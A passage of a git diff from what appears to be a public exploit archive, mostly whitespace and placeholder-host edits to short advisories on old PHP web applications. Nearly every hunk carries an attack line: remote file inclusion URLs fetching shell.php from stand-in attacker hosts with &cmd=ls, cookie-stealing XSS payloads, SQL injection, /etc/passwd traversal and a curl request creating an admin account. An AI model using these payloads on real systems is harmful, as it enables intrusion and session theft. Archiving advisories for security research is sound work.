http://target/pvote/del.php?pollorder=1 -where pollorder is the poll 'id' number for the poll to be deleted. \ No newline at end of file +where pollorder is the poll 'id' number for the poll to be deleted. \ No newline at end of file diff --git a/platforms/php/webapps/21397.txt b/platforms/php/webapps/21397.txt index 323b86dd8..d57a822ee 100755 --- a/platforms/php/webapps/21397.txt +++ b/platforms/php/webapps/21397.txt @@ -6,4 +6,4 @@ It is possible to change the administrative password by submitting a malicious w http://target/pvote/ch_info.php?newpass=password&confirm=password -where password is the attacker-supplied value for the new administrative password. \ No newline at end of file +where password is the attacker-supplied value for the new administrative password. \ No newline at end of file diff --git a/platforms/php/webapps/21399.txt b/platforms/php/webapps/21399.txt index 5fbcc2e09..11c3c4ec8 100755 --- a/platforms/php/webapps/21399.txt +++ b/platforms/php/webapps/21399.txt @@ -8,4 +8,4 @@ An attacker who exploits this may be able to hijack web content or steal cookie- Post a message with the following text in the subject or message body: -<script>alert('Cross Site Scripting possible');</script> \ No newline at end of file +<script>alert('Cross Site Scripting possible');</script> \ No newline at end of file diff --git a/platforms/php/webapps/21401.txt b/platforms/php/webapps/21401.txt index 94cd48650..d74053f7e 100755 --- a/platforms/php/webapps/21401.txt +++ b/platforms/php/webapps/21401.txt @@ -6,4 +6,4 @@ PostBoard does not sanitize code submitted to site between IMG tags. Due to this The following code is proof of concept: -[IMG]javascript:alert('give me cookies');[/IMG] \ No newline at end of file +[IMG]javascript:alert('give me cookies');[/IMG] \ No newline at end of file diff --git a/platforms/php/webapps/2141.txt b/platforms/php/webapps/2141.txt index f6ddc1445..72d64ceae 100755 --- a/platforms/php/webapps/2141.txt +++ b/platforms/php/webapps/2141.txt @@ -10,7 +10,7 @@ #CODE: include $cfg_dir."customize_text.php"; -#Exploit: http://www.server/[path]/calendar.php?cfg_dir=http://evil_scripts? +#Exploit: http://www.site.com/[path]/calendar.php?cfg_dir=http://evil_scripts? #Thanx : WWW.CYBER-WARRiOR.ORG diff --git a/platforms/php/webapps/2142.txt b/platforms/php/webapps/2142.txt index edbe9c838..51f67a764 100755 --- a/platforms/php/webapps/2142.txt +++ b/platforms/php/webapps/2142.txt @@ -11,7 +11,7 @@ - #CODE: include($phpbb_root_path . 'newsletter/scripts/subscriptions.' .$phpEx) - -#Exploit: http://www.server/[path]/includes/usercp_register.php?phpbb_root_path=http://evil_scripts? +#Exploit: http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://evil_scripts? - #Thanx : WWW.CYBER-WARRiOR.ORG - diff --git a/platforms/php/webapps/21421.txt b/platforms/php/webapps/21421.txt index 97f80311c..6c32cbf74 100755 --- a/platforms/php/webapps/21421.txt +++ b/platforms/php/webapps/21421.txt @@ -6,4 +6,4 @@ Some of the PHProjekt scripts are only intended to be accessed by users who have http://www.somehost.com/phprojekt/mail/mail_send.php/sms -where the extraneous "sms" is included to be passed to the $PHP_SELF variable as part of the PATH_INFO. This causes PHPProjekt to behave as though the attacker accessing the script is logged on to PHPProjekt as a legitimate user. \ No newline at end of file +where the extraneous "sms" is included to be passed to the $PHP_SELF variable as part of the PATH_INFO. This causes PHPProjekt to behave as though the attacker accessing the script is logged on to PHPProjekt as a legitimate user. \ No newline at end of file diff --git a/platforms/php/webapps/21423.txt b/platforms/php/webapps/21423.txt index d3a23238c..e858d44b0 100755 --- a/platforms/php/webapps/21423.txt +++ b/platforms/php/webapps/21423.txt @@ -6,4 +6,4 @@ Ultimate PHP Board does not filter script code from image tags. This may allow a It may be possible to inject script code into other UPB-Code formatting tags, though this has not been confirmed. -[ img]javascript:window.open(' index.php?upb=pm&mode=send&send=yes&target_id=SONPROPREID&betreff=cookie&pm=' +document.cookie+ ' &smilies=1&use_upbcode=1&pmbox_id=IDDELAVICTIME&check=yes ')[/img ] \ No newline at end of file +[ img]javascript:window.open(' index.php?upb=pm&mode=send&send=yes&target_id=SONPROPREID&betreff=cookie&pm=' +document.cookie+ ' &smilies=1&use_upbcode=1&pmbox_id=IDDELAVICTIME&check=yes ')[/img ] \ No newline at end of file diff --git a/platforms/php/webapps/21424.txt b/platforms/php/webapps/21424.txt index 7bac33b94..458f8f059 100755 --- a/platforms/php/webapps/21424.txt +++ b/platforms/php/webapps/21424.txt @@ -4,4 +4,4 @@ Admanager is banner advertisement management software. It is written in PHP and Access to the 'add.php3' script does not require authentication. It is possible for a remote attacker to manipulate URL parameters of this script and change banner advertisement content. -http://target/add.php3?url=http://www.url.com&adurl=http://URL/img.gif URL/ \ No newline at end of file +http://target/add.php3?url=http://www.url.com&adurl=http://URL/img.gif URL/ \ No newline at end of file diff --git a/platforms/php/webapps/21426.txt b/platforms/php/webapps/21426.txt index 27dffe949..b5b6492fd 100755 --- a/platforms/php/webapps/21426.txt +++ b/platforms/php/webapps/21426.txt @@ -4,4 +4,4 @@ Blahz-DNS is a web based management tool for DNS information. It is implemented By directly calling scripts included with Blahz-DNS, it is possible to bypass the authentication check, gaining full access to the Blahz-DNS tool. -http://www.example.com/dostuff.php?action=modify_user \ No newline at end of file +http://www.example.com/dostuff.php?action=modify_user \ No newline at end of file diff --git a/platforms/php/webapps/21427.txt b/platforms/php/webapps/21427.txt index be7c0e395..daf77ebb8 100755 --- a/platforms/php/webapps/21427.txt +++ b/platforms/php/webapps/21427.txt @@ -6,4 +6,4 @@ MiniBB does not filter script code from URL parameters, making it prone to cross This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users of a website running MiniBB. -http://target/forums/index.php?action=search&searchFor="><script>alert("test")</script > \ No newline at end of file +http://target/forums/index.php?action=search&searchFor="><script>alert("test")</script > \ No newline at end of file diff --git a/platforms/php/webapps/2143.pl b/platforms/php/webapps/2143.pl index 9afcd572a..5f5eb8ac5 100755 --- a/platforms/php/webapps/2143.pl +++ b/platforms/php/webapps/2143.pl @@ -59,7 +59,7 @@ sub help { print "\t--debug\n"; print "the default directory is /twiki/bin/configure\n"; print "\nExample\n"; - print "bash# $0 --host=http(s)://server/\n"; + print "bash# $0 --host=http(s)://www.server.com/\n"; print "\n"; exit(1); } diff --git a/platforms/php/webapps/21436.txt b/platforms/php/webapps/21436.txt index e8c4190f5..ee04d32e8 100755 --- a/platforms/php/webapps/21436.txt +++ b/platforms/php/webapps/21436.txt @@ -4,4 +4,4 @@ B2 is a news/weblog tool written in php. b2 allows webmasters to quickly post ne A variable that is referenced in the PHP scripts does not actually exist. Thus, an attacker may be able to define the value of the variable. By creating a PHP script on the remote side and embedding commands in it, the attacker is able to reference the remote file. This could potentially allow the attacker to execute commands on the vulnerable system. -http://www.vulnerablehost.com/b2/b2-include/b2edit.showposts.php?b2inc=http://www.attacker.com&cmd=ls \ No newline at end of file +http://www.vulnerablehost.com/b2/b2-include/b2edit.showposts.php?b2inc=http://www.attacker.com&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/21447.txt b/platforms/php/webapps/21447.txt index 0694fdf3d..adb5f275b 100755 --- a/platforms/php/webapps/21447.txt +++ b/platforms/php/webapps/21447.txt @@ -10,4 +10,4 @@ XMB Forum 1.6 Magic Lantern is a web-based discussion forum. It is vulnerable to member.php?action=viewpro&member=<form%20name=o><input%20name=u%20value=XSS></form><script>alert(document.o.u.value)</script> -member.php?action=reg&username=%253Cscript%253E&... . \ No newline at end of file +member.php?action=reg&username=%253Cscript%253E&... . \ No newline at end of file diff --git a/platforms/php/webapps/21448.txt b/platforms/php/webapps/21448.txt index 4c3623d33..3950922cc 100755 --- a/platforms/php/webapps/21448.txt +++ b/platforms/php/webapps/21448.txt @@ -4,4 +4,4 @@ XMB Forum 1.6 Magic Lantern allows remote users to conduct activities in the for In addition, log files (index_log.log and cplogfile.log) may be written with improper permissions allowing users to retrieve them with a browser. -/forumpath/index.php?analized=anything \ No newline at end of file +/forumpath/index.php?analized=anything \ No newline at end of file diff --git a/platforms/php/webapps/21449.txt b/platforms/php/webapps/21449.txt index 3b3fdb1b4..e8a6daf31 100755 --- a/platforms/php/webapps/21449.txt +++ b/platforms/php/webapps/21449.txt @@ -6,4 +6,4 @@ A script injection issue has been reported with the way emails are displayed to <script>alert(document.cookie)</script> -This will show the victim's session id. \ No newline at end of file +This will show the victim's session id. \ No newline at end of file diff --git a/platforms/php/webapps/21454.txt b/platforms/php/webapps/21454.txt index 89c5cb911..093a93c23 100755 --- a/platforms/php/webapps/21454.txt +++ b/platforms/php/webapps/21454.txt @@ -4,4 +4,4 @@ Pseudo-frames is an application written in PHP and is maintained by Clicky Web. Pseudo-frames permit remote file including. As a result, a remote attacker may include an arbitrary file located on a remote host. If this file is a PHP script, it will be executed on the host running the vulnerable software. -http://www.server/index.php?page=http://www.haxor.com/file \ No newline at end of file +http://www.site.com/index.php?page=http://www.haxor.com/file \ No newline at end of file diff --git a/platforms/php/webapps/21459.txt b/platforms/php/webapps/21459.txt index ab43fb683..cf28e5553 100755 --- a/platforms/php/webapps/21459.txt +++ b/platforms/php/webapps/21459.txt @@ -8,4 +8,4 @@ The vulnerability exists in 'plugin.php','admin.php' and 'del.php' files found i http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls -http://[vulnerablehost]/phorum/admin/actions/del.php?include_path=http://[evilhost]&cmd=ls \ No newline at end of file +http://[vulnerablehost]/phorum/admin/actions/del.php?include_path=http://[evilhost]&cmd=ls \ No newline at end of file diff --git a/platforms/php/webapps/2146.txt b/platforms/php/webapps/2146.txt index 3c7a469ee..a9bc23596 100755 --- a/platforms/php/webapps/2146.txt +++ b/platforms/php/webapps/2146.txt @@ -10,10 +10,10 @@ cont@ct: x0r0n[at]hotmail[dot]com URL: http://docpile-we.berlios.de - Exploit: -http://www.server/[path]/lib/folder.class.php?INIT_PATH=http://evil_script? -http://www.server/[path]/lib/email.inc.php?INIT_PATH=http://evil_script? -http://www.server/[path]/lib/document.class.php?INIT_PATH=http://evil_script? -http://www.server/[path]/lib/auth.inc.php?INIT_PATH=http://evil_script? +http://www.site.com/[path]/lib/folder.class.php?INIT_PATH=http://evil_script? +http://www.site.com/[path]/lib/email.inc.php?INIT_PATH=http://evil_script? +http://www.site.com/[path]/lib/document.class.php?INIT_PATH=http://evil_script? +http://www.site.com/[path]/lib/auth.inc.php?INIT_PATH=http://evil_script? - Greetz: str0ke, Preddy, Iron, x-master, DJR, R3D4C!D , sakkkure *************************************************** diff --git a/platforms/php/webapps/21461.txt b/platforms/php/webapps/21461.txt index 62c6f4ae3..d29e284d6 100755 --- a/platforms/php/webapps/21461.txt +++ b/platforms/php/webapps/21461.txt @@ -8,4 +8,4 @@ Attackers may exploit this vulnerability to obtain user credentials. http://[host]/phorum/admin/footer.php?GLOBALS[message]=<script>alert("css strikes!");</script> -http://[host]/phorum/admin/header.php?GLOBALS[message]=<script>alert("css strikes!");</script> \ No newline at end of file +http://[host]/phorum/admin/header.php?GLOBALS[message]=<script>alert("css strikes!");</script> \ No newline at end of file diff --git a/platforms/php/webapps/21463.txt b/platforms/php/webapps/21463.txt index b975394a6..8f22c0a9c 100755 --- a/platforms/php/webapps/21463.txt +++ b/platforms/php/webapps/21463.txt @@ -4,4 +4,4 @@ mcNews is a set of scripts for allowing users to post news stories on a webpage. mcNews does not sufficiently filter dot-dot-slash (../) sequences from URL parameters. As a result, a remote attacker can disclose the contents of arbitrary web-readable files that exist on a host running the vulnerable software. -http://target/admin/header.php?voir=hop&skinfile=../../file \ No newline at end of file +http://target/admin/header.php?voir=hop&skinfile=../../file \ No newline at end of file diff --git a/platforms/php/webapps/21474.txt b/platforms/php/webapps/21474.txt index 110b36920..a802d03c7 100755 --- a/platforms/php/webapps/21474.txt +++ b/platforms/php/webapps/21474.txt @@ -6,4 +6,4 @@ OpenBB is reportedly vulnerable to HTML injection attacks. The vulnerability occ OpenBB uses 'BBCodes' in the place of HTML code to include images, links etc. However, HTML tags are not adequately replaced from with BBCodes. It is possible to inject arbitrary HTML code into forum messages. As a result, OpenBB is prone to cross-agent scripting attacks. Script code will be executed in the browser of the user viewing the forum message and may allow an attacker to steal cookie-based authentication credentials. -[ img]http:// " onerror="ANYSCRIPT"[/img ] \ No newline at end of file +[ img]http:// " onerror="ANYSCRIPT"[/img ] \ No newline at end of file diff --git a/platforms/php/webapps/21478.txt b/platforms/php/webapps/21478.txt index 19dafb0a5..9918ba472 100755 --- a/platforms/php/webapps/21478.txt +++ b/platforms/php/webapps/21478.txt @@ -4,6 +4,6 @@ OpenBB is web forum software written in PHP. It will run on most Linux and Unix OpenBB is reported to be vulnerable to a condition that will allow an unauthorized user to gain moderator or administrative access to forums. The attacker is only able to change a few properties of the forums. -http://www.server/moderator.php?action=lock&TID=LIDDUFORUM&ismod=1 +http://www.site.com/moderator.php?action=lock&TID=LIDDUFORUM&ismod=1 This will lock the forum. Other keywords include 'action=sticky' or 'action=important'. \ No newline at end of file diff --git a/platforms/php/webapps/21479.txt b/platforms/php/webapps/21479.txt index 258a87e30..915dce8d4 100755 --- a/platforms/php/webapps/21479.txt +++ b/platforms/php/webapps/21479.txt @@ -7,4 +7,4 @@ It has been reported that OpenBB is vulnerable to a cross-site scripting attack. Attackers may exploit this vulnerability by constructing a link to one of these scripts containing malicious script code. If the link is sent to a OpenBB user and clicked on, the attacker-supplied script code will run in the context of the user's OpenBB session. The script code may obtain cookie values or perform unauthorized actions as the victim user. http://targetsite/myhome.php?action=messages&box=<form%20name=a><input%20name=i%20value=XSS></form> -<script>alert(document.a.i.value)</script> \ No newline at end of file +<script>alert(document.a.i.value)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2148.txt b/platforms/php/webapps/2148.txt index 4ca6a33db..df8be8be1 100755 --- a/platforms/php/webapps/2148.txt +++ b/platforms/php/webapps/2148.txt @@ -17,7 +17,7 @@ Path: Declare file_newsportal ExP: -http://server/Dir_phNNTP/article-raw.php?file_newsportal=http://www.evalserver/shell.php? +http://server/Dir_phNNTP/article-raw.php?file_newsportal=http://www.evalsite.com/shell.php? Greatz: Str0ke diff --git a/platforms/php/webapps/21486.txt b/platforms/php/webapps/21486.txt index 4c60c322c..b57505575 100755 --- a/platforms/php/webapps/21486.txt +++ b/platforms/php/webapps/21486.txt @@ -9,4 +9,4 @@ The attacker may exploit this issue to inject script code into forum messages. W phpBB versions prior to the phpBB2 series may also be affected by this vulnerability. -[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] \ No newline at end of file +[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] \ No newline at end of file diff --git a/platforms/php/webapps/2149.txt b/platforms/php/webapps/2149.txt index c98a77a21..9f0c305f3 100755 --- a/platforms/php/webapps/2149.txt +++ b/platforms/php/webapps/2149.txt @@ -17,7 +17,7 @@ Path: Declare $REP_INC Expl: -http://www.server/dir_hitweb/genpage-cgi.php?REP_INC=http://www.evalserver/shell.php? +http://www.site.com/dir_hitweb/genpage-cgi.php?REP_INC=http://www.evalsite.com/shell.php? Greatz:Str0ke diff --git a/platforms/php/webapps/21509.txt b/platforms/php/webapps/21509.txt index a6d1f6d2a..27639eb00 100755 --- a/platforms/php/webapps/21509.txt +++ b/platforms/php/webapps/21509.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/4924/info Teekai's Tracking Online does not adequately filter HTML tags from certain URL parameters, making it prone to cross-site scripting attacks. Attackers may exploit this by creating a malicious link to a vulnerable webpage. -http://target/page.php?action=view&id=1<script>alert(document.cookie)</script > \ No newline at end of file +http://target/page.php?action=view&id=1<script>alert(document.cookie)</script > \ No newline at end of file diff --git a/platforms/php/webapps/2151.txt b/platforms/php/webapps/2151.txt index 257f9fca1..8ceba6ea4 100755 --- a/platforms/php/webapps/2151.txt +++ b/platforms/php/webapps/2151.txt @@ -41,7 +41,7 @@ + + PoC: + -+ http://[target]/CheckUpload.php?Language=http://evilserver/dblib.php/&cmd=ls ++ http://[target]/CheckUpload.php?Language=http://evilsite.com/dblib.php/&cmd=ls + +-------------------------------------------------------------------- + diff --git a/platforms/php/webapps/21514.txt b/platforms/php/webapps/21514.txt index c99289dbf..dbdec2858 100755 --- a/platforms/php/webapps/21514.txt +++ b/platforms/php/webapps/21514.txt @@ -4,4 +4,4 @@ Splatt Forum does not filter HTML from image tags. This may allow an attacker to This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users. -[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] \ No newline at end of file +[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] \ No newline at end of file diff --git a/platforms/php/webapps/21517.txt b/platforms/php/webapps/21517.txt index 268d866ba..6f5c73e1a 100755 --- a/platforms/php/webapps/21517.txt +++ b/platforms/php/webapps/21517.txt @@ -4,4 +4,4 @@ It has been reported that multiple vulnerabilities exist in CBMS. Reportedly, it These issues have been reported in version 0.7 of CBMS. Other versions may share these vulnerabilities, this has not however been confirmed. -dltclnt.php?choice=yes&idnum=clientid \ No newline at end of file +dltclnt.php?choice=yes&idnum=clientid \ No newline at end of file diff --git a/platforms/php/webapps/21519.txt b/platforms/php/webapps/21519.txt index 7b6a98f86..b0b22238a 100755 --- a/platforms/php/webapps/21519.txt +++ b/platforms/php/webapps/21519.txt @@ -6,4 +6,4 @@ MyHelpDesk does not properly sanitize HTML tags from form fields. Attackers may This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users. -&lt;script src="http://forum.olympos.org/f.js">Alper&lt;/script&gt; \ No newline at end of file +&lt;script src="http://forum.olympos.org/f.js">Alper&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/21525.txt b/platforms/php/webapps/21525.txt index 1ba9d5c79..98c67336a 100755 --- a/platforms/php/webapps/21525.txt +++ b/platforms/php/webapps/21525.txt @@ -7,4 +7,4 @@ This may enable a remote attacker to steal cookie-based authentication credentia This issue has been reported to exist in Geeklog 1.3.5, earlier versions may also be susceptible to this issue. /index.php?topic=&lt;script&gt;alert(document.cookie)&lt;/script&gt; -/comment.php?mode=display&sid=foo&pid=18&title=&lt;script&gt;alert(document.cookie)&lt;/script&gt;&type=article \ No newline at end of file +/comment.php?mode=display&sid=foo&pid=18&title=&lt;script&gt;alert(document.cookie)&lt;/script&gt;&type=article \ No newline at end of file diff --git a/platforms/php/webapps/21526.txt b/platforms/php/webapps/21526.txt index 25907435f..1db6b1947 100755 --- a/platforms/php/webapps/21526.txt +++ b/platforms/php/webapps/21526.txt @@ -4,4 +4,4 @@ It is reported that MyHelpDesk is vulnerable to cross-site scripting attacks. Attackers may exploit this vulnerability by constructing a link to a vulnerable scripts, passing malicious HTML code as a value for unsanitized CGI parameters. If the link is sent to a MyHelpDesk user and clicked on, the attacker-supplied HTML code will run in the context of the site running the vulnerable software. -http://[TARGET]/supporter/index.php?t=tickettime&id=&lt;script&gt;alert(document.cookie)&lt;/script&gt; \ No newline at end of file +http://[TARGET]/supporter/index.php?t=tickettime&id=&lt;script&gt;alert(document.cookie)&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/21527.txt b/platforms/php/webapps/21527.txt index d2f0f81d2..c84731aad 100755 --- a/platforms/php/webapps/21527.txt +++ b/platforms/php/webapps/21527.txt @@ -4,4 +4,4 @@ It is reported that MyHelpDesk (version 20020509 and earlier) are vulnerable to Data supplied by the remote user, via CGI parameters, is used directly as part of SQL statements. As input sanitization is not properly performed, it is possible to modify the logic of a SQL query. -http://[TARGET]/supporter/index.php?t=detailticket&id=root%20me \ No newline at end of file +http://[TARGET]/supporter/index.php?t=detailticket&id=root%20me \ No newline at end of file diff --git a/platforms/php/webapps/21528.txt b/platforms/php/webapps/21528.txt index 801968d71..9e1a48a00 100755 --- a/platforms/php/webapps/21528.txt +++ b/platforms/php/webapps/21528.txt @@ -4,4 +4,4 @@ Geeklog does not sufficiently sanitize script code from form fields, making it p Attacker-supplied script code may potentially end up in webpages generated by Geeklog and will execute in the browser of a user who views such pages, in the security context of the website. -Link input($url) :&lt;scriptsrc="http://forum.olympos.org/f.js">Alper&lt;/script&gt; \ No newline at end of file +Link input($url) :&lt;scriptsrc="http://forum.olympos.org/f.js">Alper&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/21529.txt b/platforms/php/webapps/21529.txt index 3bfae4507..4549d76fe 100755 --- a/platforms/php/webapps/21529.txt +++ b/platforms/php/webapps/21529.txt @@ -4,4 +4,4 @@ W-Agora is prone to an issue which may allow an attacker to include arbitrary fi If the included file is a PHP script, this may allow for execution of arbitrary attacker-supplied code. -http://[target]/include/oci8.php?inc_dir=http://www.attacker.com&ext=txt \ No newline at end of file +http://[target]/include/oci8.php?inc_dir=http://www.attacker.com&ext=txt \ No newline at end of file diff --git a/platforms/php/webapps/21552.txt b/platforms/php/webapps/21552.txt index c1567623a..1010ba88d 100755 --- a/platforms/php/webapps/21552.txt +++ b/platforms/php/webapps/21552.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/5022/info PHP Classifieds has been reported to be prone to cross-site scripting attacks. Attackers may inject arbitrary HTML or script code into URI parameters in a malicious link. When the malicious link is visited, the attacker's script code will be executed in the web client of the user browsing the link, in the security context of the website hosting the vulnerable software. -http://target/phpclassifieds/latestwap.php?url=<script>alert('OopS');< \ No newline at end of file +http://target/phpclassifieds/latestwap.php?url=<script>alert('OopS');< \ No newline at end of file diff --git a/platforms/php/webapps/2157.txt b/platforms/php/webapps/2157.txt index c07fb23f3..75f5cadfd 100755 --- a/platforms/php/webapps/2157.txt +++ b/platforms/php/webapps/2157.txt @@ -8,7 +8,7 @@ include($BBCodeFile); Vendor Website: http://www.venturenine.com PoC: -http://victim-server/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat? +http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat? Google dork: diff --git a/platforms/php/webapps/2158.txt b/platforms/php/webapps/2158.txt index e43eac11c..53896be97 100755 --- a/platforms/php/webapps/2158.txt +++ b/platforms/php/webapps/2158.txt @@ -28,9 +28,9 @@ google dork: "powered by twg" ------------------------------------------------------------------------------ Exploit: -http://www.server/[path]/examples/image.php?image=http://evil_scripts +http://www.site.com/[path]/examples/image.php?image=http://evil_scripts -http://www.server/[path]/examples/examples/image.php2?image=http://evil_scripts? +http://www.site.com/[path]/examples/examples/image.php2?image=http://evil_scripts? ########################################################################### # # diff --git a/platforms/php/webapps/21590.txt b/platforms/php/webapps/21590.txt index cd8909d1c..7e92be4c2 100755 --- a/platforms/php/webapps/21590.txt +++ b/platforms/php/webapps/21590.txt @@ -6,4 +6,4 @@ A flaw in /admin/login.php has been reported in PHPAuction, which could allow us Submitting authentication credentials via login.php will create the user account with adminsitrative permissions. -curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test" \ No newline at end of file +curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test" \ No newline at end of file diff --git a/platforms/php/webapps/21610.txt b/platforms/php/webapps/21610.txt index 3f0e80675..bb99d7668 100755 --- a/platforms/php/webapps/21610.txt +++ b/platforms/php/webapps/21610.txt @@ -11,4 +11,4 @@ http://<Serverip:port>/content/base/build/explorer/none.php?..:..:..:..:..:. or -http://<Serverip:port>/content/base/build/explorer/none.php?/etc/passwd \ No newline at end of file +http://<Serverip:port>/content/base/build/explorer/none.php?/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/21622.txt b/platforms/php/webapps/21622.txt index 3be9dda9e..6f20dcd60 100755 --- a/platforms/php/webapps/21622.txt +++ b/platforms/php/webapps/21622.txt @@ -4,4 +4,4 @@ PHP-Wiki does not sufficiently sanitize HTML from URI parameters, making it pron PHP-Wiki may be used as a module for other software such as PostNuke. -http://target/path/modules.php?op=modload&name=Wiki&file=index&pagename=<script>alert(document.cookie)</script> \ No newline at end of file +http://target/path/modules.php?op=modload&name=Wiki&file=index&pagename=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2165.txt b/platforms/php/webapps/2165.txt index d1fa58d1e..97f21d601 100755 --- a/platforms/php/webapps/2165.txt +++ b/platforms/php/webapps/2165.txt @@ -15,7 +15,7 @@ Path : Declare $page ExpL: -http://server/dir_spaminator/src/Login.php?page=http://www.evalserver/shell.php? +http://server/dir_spaminator/src/Login.php?page=http://www.evalsite.com/shell.php? Greatz:str0ke diff --git a/platforms/php/webapps/21660.txt b/platforms/php/webapps/21660.txt index fcb3e1a9d..b270d7a46 100755 --- a/platforms/php/webapps/21660.txt +++ b/platforms/php/webapps/21660.txt @@ -4,4 +4,4 @@ phpBB2 is an open-source web forum application that is written in PHP and backen Gender Mod is a modification for phpBB2 which allows the association of a gender with a given user profile. A SQL injection vulnerability has been reported in this mod. A remote user may subvert the SQL statement used to update their user profile, possibly gaining administrative access to the system. -"0, user_level = 1 " \ No newline at end of file +"0, user_level = 1 " \ No newline at end of file diff --git a/platforms/php/webapps/21668.txt b/platforms/php/webapps/21668.txt index 90ba4b5c7..64f42a595 100755 --- a/platforms/php/webapps/21668.txt +++ b/platforms/php/webapps/21668.txt @@ -4,4 +4,4 @@ shoutBOX does not sufficiently sanitize HTML tags from input supplied via form f In the Site URL text box, type in: -"></a><html code goes here><a href=" \ No newline at end of file +"></a><html code goes here><a href=" \ No newline at end of file diff --git a/platforms/php/webapps/21676.txt b/platforms/php/webapps/21676.txt index 6285ede02..8a9321da9 100755 --- a/platforms/php/webapps/21676.txt +++ b/platforms/php/webapps/21676.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/5375/info Gallery is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Gallery. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'GALLERY_BASEDIR' parameter. -http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/ \ No newline at end of file +http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/ \ No newline at end of file diff --git a/platforms/php/webapps/2169.txt b/platforms/php/webapps/2169.txt index 6942a2053..3357e6a66 100755 --- a/platforms/php/webapps/2169.txt +++ b/platforms/php/webapps/2169.txt @@ -20,12 +20,12 @@ $_BASE Not Declare; ExP: -http://www.server/dir_Chaussette/Classes/Evenement.php?_BASE=http://www.evalserver/shell.php -http://www.server/dir_Chaussette/Classes/Event.php?_BASE=http://www.evalserver/shell.php -http://www.server/dir_Chaussette/Classes/Event_for_month.php?_BASE=http://www.evalserver/shell.php -http://www.server/dir_Chaussette/Classes/Event_for_week.php?_BASE=http://www.evalserver/shell.php -http://www.server/dir_Chaussette/Classes/My_Log.php?_BASE=http://www.evalserver/shell.php -http://www.server/dir_Chaussette/Classes/My_Smarty.php?_BASE=http://www.evalserver/shell.php +http://www.site.com/dir_Chaussette/Classes/Evenement.php?_BASE=http://www.evalsite.com/shell.php +http://www.site.com/dir_Chaussette/Classes/Event.php?_BASE=http://www.evalsite.com/shell.php +http://www.site.com/dir_Chaussette/Classes/Event_for_month.php?_BASE=http://www.evalsite.com/shell.php +http://www.site.com/dir_Chaussette/Classes/Event_for_week.php?_BASE=http://www.evalsite.com/shell.php +http://www.site.com/dir_Chaussette/Classes/My_Log.php?_BASE=http://www.evalsite.com/shell.php +http://www.site.com/dir_Chaussette/Classes/My_Smarty.php?_BASE=http://www.evalsite.com/shell.php Greatz: Str0ke diff --git a/platforms/php/webapps/2170.txt b/platforms/php/webapps/2170.txt index ea6c565f4..359f75b9c 100755 --- a/platforms/php/webapps/2170.txt +++ b/platforms/php/webapps/2170.txt @@ -1,4 +1,4 @@ -.:[ insecurity research team ]:. + .:[ insecurity research team ]:. .__..____.:.______.____.:.____ . .:. | |/ \:/ ___// __ \:/ _\.:. : | | | \\____\\ ___/\ /__ :. . diff --git a/platforms/php/webapps/21715.txt b/platforms/php/webapps/21715.txt index 8d4c9ea3b..ccbbea7ab 100755 --- a/platforms/php/webapps/21715.txt +++ b/platforms/php/webapps/21715.txt @@ -1,4 +1,4 @@ -Exploit Title: Wordpress spider calendar Plugin Multiple Vulnerabilities + Exploit Title: Wordpress spider calendar Plugin Multiple Vulnerabilities Dork: N/A @@ -50,3 +50,4 @@ Exploit: _____________________________________________________ Daniel Barragan "D4NB4R" 2012 + \ No newline at end of file diff --git a/platforms/php/webapps/2172.txt b/platforms/php/webapps/2172.txt index b420e80cf..2a8516a6a 100755 --- a/platforms/php/webapps/2172.txt +++ b/platforms/php/webapps/2172.txt @@ -1,4 +1,4 @@ -.:[ insecurity research team ]:. + .:[ insecurity research team ]:. .__..____.:.______.____.:.____ . .:. | |/ \:/ ___// __ \:/ _\.:. : | | | \\____\\ ___/\ /__ :. . diff --git a/platforms/php/webapps/2173.txt b/platforms/php/webapps/2173.txt index 71b847429..d9ebfa719 100755 --- a/platforms/php/webapps/2173.txt +++ b/platforms/php/webapps/2173.txt @@ -13,8 +13,8 @@ BaseLoader.php BaseView.php ExP: -http://www.sito.com/dir_mvcnphp/BaseCommand.php?glConf[path_libraries]=http://evalserver/shell.php -http://www.sito.com/dir_mvcnphp/BaseLoader.php?glConf[path_libraries]=http://evalserver/shell.php -http://www.sito.com/dir_mvcnphp/BaseView.php?glConf[path_libraries]=http://evalserver/shell.php +http://www.sito.com/dir_mvcnphp/BaseCommand.php?glConf[path_libraries]=http://evalsite.com/shell.php +http://www.sito.com/dir_mvcnphp/BaseLoader.php?glConf[path_libraries]=http://evalsite.com/shell.php +http://www.sito.com/dir_mvcnphp/BaseView.php?glConf[path_libraries]=http://evalsite.com/shell.php # milw0rm.com [2006-08-10] diff --git a/platforms/php/webapps/21745.txt b/platforms/php/webapps/21745.txt index a1acbdc1d..54468e7d9 100755 --- a/platforms/php/webapps/21745.txt +++ b/platforms/php/webapps/21745.txt @@ -11,4 +11,4 @@ Create the following text file (ls.txt) and store it on the attacker host where And cause the vulnerable script on the victim host to invoke it with the following request: 